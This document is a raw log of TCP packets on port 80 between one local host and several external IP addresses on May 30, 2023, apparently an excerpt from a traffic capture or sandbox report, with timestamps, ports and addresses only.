May 30, 2023 11:10:40.924659014 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.924717903 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.924773932 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.924961090 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:40.924962997 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.925129890 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.925173998 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.925406933 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.936047077 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.936176062 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.936254978 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.936331034 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.936404943 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.936486006 CEST	80	49808	89.31.143.1	192.168.11.20
May 30, 2023 11:10:40.936815977 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:42.405076981 CEST	49808	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.420644045 CEST	49809	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.431380987 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.431580067 CEST	49809	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.431622028 CEST	49809	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.442161083 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444339991 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444375992 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444410086 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444574118 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444610119 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444638014 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444663048 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:43.444883108 CEST	49809	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.444883108 CEST	49809	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.445046902 CEST	49809	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.445048094 CEST	49809	80	192.168.11.20	89.31.143.1
May 30, 2023 11:10:43.455730915 CEST	80	49809	89.31.143.1	192.168.11.20
May 30, 2023 11:10:49.761749983 CEST	49810	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:50.020279884 CEST	80	49810	154.84.88.108	192.168.11.20
May 30, 2023 11:10:50.020546913 CEST	49810	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:50.020633936 CEST	49810	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:50.270309925 CEST	80	49810	154.84.88.108	192.168.11.20
May 30, 2023 11:10:50.356134892 CEST	80	49810	154.84.88.108	192.168.11.20
May 30, 2023 11:10:50.356209040 CEST	80	49810	154.84.88.108	192.168.11.20
May 30, 2023 11:10:50.356420040 CEST	49810	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:51.527960062 CEST	49810	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:52.543745995 CEST	49811	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:52.777381897 CEST	80	49811	154.84.88.108	192.168.11.20
May 30, 2023 11:10:52.777604103 CEST	49811	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:52.777693987 CEST	49811	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:53.011109114 CEST	80	49811	154.84.88.108	192.168.11.20
May 30, 2023 11:10:53.096956968 CEST	80	49811	154.84.88.108	192.168.11.20
May 30, 2023 11:10:53.097009897 CEST	80	49811	154.84.88.108	192.168.11.20
May 30, 2023 11:10:53.097112894 CEST	49811	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:54.292922020 CEST	49811	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.308636904 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.544298887 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:55.544548988 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.545268059 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.780842066 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:55.780909061 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:55.780968904 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:55.781008959 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:55.781106949 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.781126976 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:55.781219006 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.781270981 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.781404018 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:55.781488895 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.781670094 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:55.781784058 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:56.027498007 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.027590990 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.027636051 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.027678967 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.027920008 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:56.028039932 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:56.263961077 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.264098883 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.264146090 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.264183998 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.264223099 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.353753090 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.353820086 CEST	80	49812	154.84.88.108	192.168.11.20
May 30, 2023 11:10:56.354068041 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:57.057979107 CEST	49812	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:58.073673010 CEST	49813	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:58.323544025 CEST	80	49813	154.84.88.108	192.168.11.20
May 30, 2023 11:10:58.323892117 CEST	49813	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:58.323972940 CEST	49813	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:58.573748112 CEST	80	49813	154.84.88.108	192.168.11.20
May 30, 2023 11:10:58.579340935 CEST	80	49813	154.84.88.108	192.168.11.20
May 30, 2023 11:10:58.579404116 CEST	80	49813	154.84.88.108	192.168.11.20
May 30, 2023 11:10:58.579772949 CEST	49813	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:58.579832077 CEST	49813	80	192.168.11.20	154.84.88.108
May 30, 2023 11:10:58.829705000 CEST	80	49813	154.84.88.108	192.168.11.20
May 30, 2023 11:11:03.603549004 CEST	49814	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:03.682851076 CEST	80	49814	109.123.121.243	192.168.11.20
May 30, 2023 11:11:03.683234930 CEST	49814	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:03.683324099 CEST	49814	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:03.765330076 CEST	80	49814	109.123.121.243	192.168.11.20
May 30, 2023 11:11:03.765714884 CEST	80	49814	109.123.121.243	192.168.11.20
May 30, 2023 11:11:03.765757084 CEST	80	49814	109.123.121.243	192.168.11.20
May 30, 2023 11:11:03.765913963 CEST	49814	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:05.196752071 CEST	49814	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:06.212569952 CEST	49815	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:06.294966936 CEST	80	49815	109.123.121.243	192.168.11.20
May 30, 2023 11:11:06.295361042 CEST	49815	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:06.295417070 CEST	49815	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:06.375931025 CEST	80	49815	109.123.121.243	192.168.11.20
May 30, 2023 11:11:06.376081944 CEST	80	49815	109.123.121.243	192.168.11.20
May 30, 2023 11:11:06.376158953 CEST	80	49815	109.123.121.243	192.168.11.20
May 30, 2023 11:11:06.376370907 CEST	49815	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:07.805671930 CEST	49815	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:08.821202993 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:08.902152061 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:08.902367115 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:08.902991056 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:08.985141993 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:08.985214949 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:08.985259056 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:08.985399008 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:08.985579967 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:08.985749006 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:08.986037016 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:08.986174107 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:09.067737103 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.067985058 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:09.068123102 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.068125963 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:09.068175077 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.068226099 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.068260908 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.068356037 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.068396091 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:09.068573952 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:09.068603992 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.068834066 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.068944931 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.149039030 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.149148941 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.149219036 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.149269104 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.149352074 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.432333946 CEST	80	49816	109.123.121.243	192.168.11.20
May 30, 2023 11:11:09.432535887 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:10.414509058 CEST	49816	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:11.430126905 CEST	49817	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:11.512671947 CEST	80	49817	109.123.121.243	192.168.11.20
May 30, 2023 11:11:11.513067961 CEST	49817	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:11.513123989 CEST	49817	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:11.591422081 CEST	80	49817	109.123.121.243	192.168.11.20
May 30, 2023 11:11:11.591511965 CEST	80	49817	109.123.121.243	192.168.11.20
May 30, 2023 11:11:11.591559887 CEST	80	49817	109.123.121.243	192.168.11.20
May 30, 2023 11:11:11.591811895 CEST	49817	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:11.591914892 CEST	49817	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:11.673733950 CEST	80	49817	109.123.121.243	192.168.11.20
May 30, 2023 11:11:17.032243013 CEST	49818	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:17.197994947 CEST	80	49818	162.214.206.200	192.168.11.20
May 30, 2023 11:11:17.198308945 CEST	49818	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:17.198364973 CEST	49818	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:17.366872072 CEST	80	49818	162.214.206.200	192.168.11.20
May 30, 2023 11:11:17.366941929 CEST	80	49818	162.214.206.200	192.168.11.20
May 30, 2023 11:11:17.367160082 CEST	49818	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:18.709609032 CEST	49818	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:19.756555080 CEST	49819	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:19.922439098 CEST	80	49819	162.214.206.200	192.168.11.20
May 30, 2023 11:11:19.922677040 CEST	49819	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:19.922746897 CEST	49819	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:20.090631962 CEST	80	49819	162.214.206.200	192.168.11.20
May 30, 2023 11:11:20.090709925 CEST	80	49819	162.214.206.200	192.168.11.20
May 30, 2023 11:11:20.090909958 CEST	49819	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:21.427721024 CEST	49819	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.443445921 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.609695911 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.609914064 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.610615015 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.610696077 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.776657104 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.776844025 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.776926994 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.777065039 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.777115107 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.777494907 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.943156004 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.943222046 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.943356991 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.943428993 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.943545103 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.943594933 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.943700075 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.943877935 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.944014072 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:22.944046021 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:22.944206953 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:23.109942913 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.110025883 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.110070944 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.110326052 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.110383987 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.110913038 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.111172915 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.113339901 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.113414049 CEST	80	49820	162.214.206.200	192.168.11.20
May 30, 2023 11:11:23.113605976 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:24.114626884 CEST	49820	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:25.130259991 CEST	49821	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:25.295952082 CEST	80	49821	162.214.206.200	192.168.11.20
May 30, 2023 11:11:25.296288967 CEST	49821	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:25.296351910 CEST	49821	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:25.465282917 CEST	80	49821	162.214.206.200	192.168.11.20
May 30, 2023 11:11:25.465372086 CEST	80	49821	162.214.206.200	192.168.11.20
May 30, 2023 11:11:25.465811968 CEST	49821	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:25.465811968 CEST	49821	80	192.168.11.20	162.214.206.200
May 30, 2023 11:11:25.631103039 CEST	80	49821	162.214.206.200	192.168.11.20
May 30, 2023 11:11:33.519197941 CEST	49822	80	192.168.11.20	172.67.153.163
May 30, 2023 11:11:33.528203011 CEST	80	49822	172.67.153.163	192.168.11.20
May 30, 2023 11:11:33.528476954 CEST	49822	80	192.168.11.20	172.67.153.163
May 30, 2023 11:11:33.528538942 CEST	49822	80	192.168.11.20	172.67.153.163
May 30, 2023 11:11:33.537292957 CEST	80	49822	172.67.153.163	192.168.11.20
May 30, 2023 11:11:33.600084066 CEST	80	49822	172.67.153.163	192.168.11.20
May 30, 2023 11:11:33.600195885 CEST	80	49822	172.67.153.163	192.168.11.20
May 30, 2023 11:11:33.600661993 CEST	49822	80	192.168.11.20	172.67.153.163
May 30, 2023 11:11:33.600661993 CEST	49822	80	192.168.11.20	172.67.153.163
May 30, 2023 11:11:33.609498978 CEST	80	49822	172.67.153.163	192.168.11.20
May 30, 2023 11:11:38.611577988 CEST	49823	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:38.686595917 CEST	80	49823	109.123.121.243	192.168.11.20
May 30, 2023 11:11:38.686885118 CEST	49823	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:38.686954975 CEST	49823	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:38.763891935 CEST	80	49823	109.123.121.243	192.168.11.20
May 30, 2023 11:11:38.764075041 CEST	80	49823	109.123.121.243	192.168.11.20
May 30, 2023 11:11:38.764244080 CEST	80	49823	109.123.121.243	192.168.11.20
May 30, 2023 11:11:38.764461040 CEST	49823	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:40.189316988 CEST	49823	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:41.204865932 CEST	49824	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:41.284742117 CEST	80	49824	109.123.121.243	192.168.11.20
May 30, 2023 11:11:41.285032034 CEST	49824	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:41.285211086 CEST	49824	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:41.362642050 CEST	80	49824	109.123.121.243	192.168.11.20
May 30, 2023 11:11:41.362718105 CEST	80	49824	109.123.121.243	192.168.11.20
May 30, 2023 11:11:41.362735033 CEST	80	49824	109.123.121.243	192.168.11.20
May 30, 2023 11:11:41.362900019 CEST	49824	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:42.798532963 CEST	49824	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:43.815613985 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:43.892659903 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:43.892913103 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:43.893507004 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:43.971030951 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:43.971131086 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:43.971174955 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:43.971282005 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:43.971463919 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:43.973906994 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:43.974242926 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:43.974332094 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:44.048733950 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.048795938 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.048871040 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.048913002 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.048996925 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:44.049118042 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:44.049173117 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:44.049478054 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.049874067 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.051853895 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.051949024 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.052903891 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125394106 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125462055 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125505924 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125550985 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125591040 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125631094 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125669956 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125715971 CEST	80	49825	109.123.121.243	192.168.11.20
May 30, 2023 11:11:44.125977039 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:45.406790972 CEST	49825	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:46.422389984 CEST	49826	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:46.498542070 CEST	80	49826	109.123.121.243	192.168.11.20
May 30, 2023 11:11:46.498769045 CEST	49826	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:46.498918056 CEST	49826	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:46.573999882 CEST	80	49826	109.123.121.243	192.168.11.20
May 30, 2023 11:11:46.574074984 CEST	80	49826	109.123.121.243	192.168.11.20
May 30, 2023 11:11:46.574126005 CEST	80	49826	109.123.121.243	192.168.11.20
May 30, 2023 11:11:46.574419975 CEST	49826	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:46.574476004 CEST	49826	80	192.168.11.20	109.123.121.243
May 30, 2023 11:11:46.652169943 CEST	80	49826	109.123.121.243	192.168.11.20
May 30, 2023 11:11:51.577702045 CEST	49827	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:51.588354111 CEST	80	49827	91.195.240.45	192.168.11.20
May 30, 2023 11:11:51.588598967 CEST	49827	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:51.588654995 CEST	49827	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:51.600084066 CEST	80	49827	91.195.240.45	192.168.11.20
May 30, 2023 11:11:51.600156069 CEST	80	49827	91.195.240.45	192.168.11.20
May 30, 2023 11:11:51.600346088 CEST	49827	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:53.092705011 CEST	49827	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:54.108359098 CEST	49828	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:54.119203091 CEST	80	49828	91.195.240.45	192.168.11.20
May 30, 2023 11:11:54.119602919 CEST	49828	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:54.119678020 CEST	49828	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:54.131275892 CEST	80	49828	91.195.240.45	192.168.11.20
May 30, 2023 11:11:54.131356955 CEST	80	49828	91.195.240.45	192.168.11.20
May 30, 2023 11:11:54.131565094 CEST	49828	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:55.623366117 CEST	49828	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.638881922 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.649691105 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.649887085 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.650516033 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.661205053 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661287069 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661304951 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661372900 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.661446095 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.661456108 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661475897 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661509991 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.661547899 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661562920 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661643028 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.661648035 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.661812067 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.672064066 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.672240019 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.672302961 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.672312975 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.672358036 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.672487020 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.672506094 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.672511101 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:56.672590017 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.672605991 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.672683954 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.682992935 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.683012962 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.683155060 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.683325052 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.683437109 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.683458090 CEST	80	49829	91.195.240.45	192.168.11.20
May 30, 2023 11:11:56.683648109 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:58.154165030 CEST	49829	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.169702053 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.180720091 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.180993080 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.180994034 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.233294010 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423235893 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423347950 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423460007 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423527956 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423583031 CEST	49830	80	192.168.11.20	91.195.240.45
May 30, 2023 11:11:59.423626900 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423686981 CEST	80	49830	91.195.240.45	192.168.11.20
May 30, 2023 11:11:59.423746109 CEST	80	49830	91.195.240.45	192.168.11.20
